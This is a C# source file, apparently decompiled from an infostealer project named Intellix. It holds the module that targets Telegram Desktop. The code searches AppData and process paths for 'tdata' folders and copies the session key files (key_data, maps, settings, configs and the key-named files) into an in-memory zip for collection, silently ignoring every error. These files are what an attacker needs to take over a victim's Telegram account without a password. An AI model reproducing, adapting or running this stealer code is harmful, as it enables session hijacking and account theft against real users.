Intellix/Intelix.Targets.Messangers/Telegram.cs

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Threading.Tasks;
using Intelix.Helper;
using Intelix.Helper.Data;

namespace Intelix.Targets.Messangers;

public class Telegram : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		Counter.CounterApplications counterApplications = new Counter.CounterApplications();
		counterApplications.Name = "Telegram";
		Parallel.ForEach(FindAllMatches("tdata"), delegate(string tdata)
		{
			string targetPath = Path.GetFileName(tdata.Remove(tdata.Length - 6, 6)) + RandomStrings.GenerateHashTag();
			Copydata(tdata, targetPath, zip, counterApplications);
		});
		if (counterApplications.Files.Count > 0)
		{
			counter.Messangers.Add(counterApplications);
		}
	}

	private void AddIfMatch(FileInfo fileInfo, string entryPath, InMemoryZip zip)
	{
		string name = fileInfo.Name;
		if (name.EndsWith("s") && name.Length == 17)
		{
			zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName));
		}
		else if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data") || name.StartsWith("configs") || name.StartsWith("maps"))
		{
			zip.AddFile(entryPath, File.ReadAllBytes(fileInfo.FullName));
		}
	}

	private void Copydata(string sourceDir, string targetPath, InMemoryZip zip, Counter.CounterApplications counterApplications)
	{
		ConcurrentBag<string> matchedNames = new ConcurrentBag<string>();
		bool addedAny = false;
		Parallel.ForEach(Directory.GetFiles(sourceDir), delegate(string filePath)
		{
			try
			{
				FileInfo fileInfo = new FileInfo(filePath);
				if (fileInfo.Length <= 7120)
				{
					string entryPath = targetPath + "\\" + fileInfo.Name;
					if (fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17)
					{
						matchedNames.Add(fileInfo.Name);
					}
					_ = counterApplications.Files.Count;
					AddIfMatch(fileInfo, entryPath, zip);
					if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps"))
					{
						addedAny = true;
					}
				}
			}
			catch
			{
			}
		});
		Parallel.ForEach(matchedNames, delegate(string name)
		{
			try
			{
				string dirPath = Path.Combine(sourceDir, name);
				dirPath = dirPath.Remove(dirPath.Length - 1);
				if (Directory.Exists(dirPath))
				{
					Parallel.ForEach(Directory.GetFiles(dirPath), delegate(string filePath)
					{
						try
						{
							FileInfo fileInfo = new FileInfo(filePath);
							if (fileInfo.Length <= 7120)
							{
								string entryPath = targetPath + "\\" + Path.GetFileName(dirPath) + "\\" + fileInfo.Name;
								AddIfMatch(fileInfo, entryPath, zip);
								if ((fileInfo.Name.EndsWith("s") && fileInfo.Name.Length == 17) || fileInfo.Name.StartsWith("usertag") || fileInfo.Name.StartsWith("settings") || fileInfo.Name.StartsWith("key_data") || fileInfo.Name.StartsWith("configs") || fileInfo.Name.StartsWith("maps"))
								{
									addedAny = true;
								}
							}
						}
						catch
						{
						}
					});
				}
			}
			catch
			{
			}
		});
		if (addedAny)
		{
			counterApplications.Files.Add(sourceDir + " => " + targetPath);
		}
	}

	private List<string> FindInAppData(string folderName)
	{
		if (string.IsNullOrEmpty(folderName))
		{
			return new List<string>();
		}
		ConcurrentDictionary<string, byte> found = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
		string[] array = new string[2]
		{
			Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
			Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
		};
		foreach (string text in array)
		{
			if (string.IsNullOrEmpty(text) || !Directory.Exists(text))
			{
				continue;
			}
			try
			{
				Parallel.ForEach(Directory.EnumerateDirectories(text, "*", SearchOption.TopDirectoryOnly), delegate(string dir1)
				{
					try
					{
						string path = Path.Combine(dir1, folderName);
						if (Directory.Exists(path))
						{
							found.TryAdd(Path.GetFullPath(path), 0);
						}
					}
					catch
					{
					}
				});
			}
			catch
			{
			}
		}
		return new List<string>(found.Keys);
	}

	private List<string> FindAllMatches(string folderName)
	{
		ConcurrentDictionary<string, byte> set = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
		Parallel.ForEach(ProcessWindows.FindFolder(folderName), delegate(string p)
		{
			set.TryAdd(p, 0);
		});
		Parallel.ForEach(FindInAppData(folderName), delegate(string p)
		{
			set.TryAdd(p, 0);
		});
		return new List<string>(set.Keys);
	}
}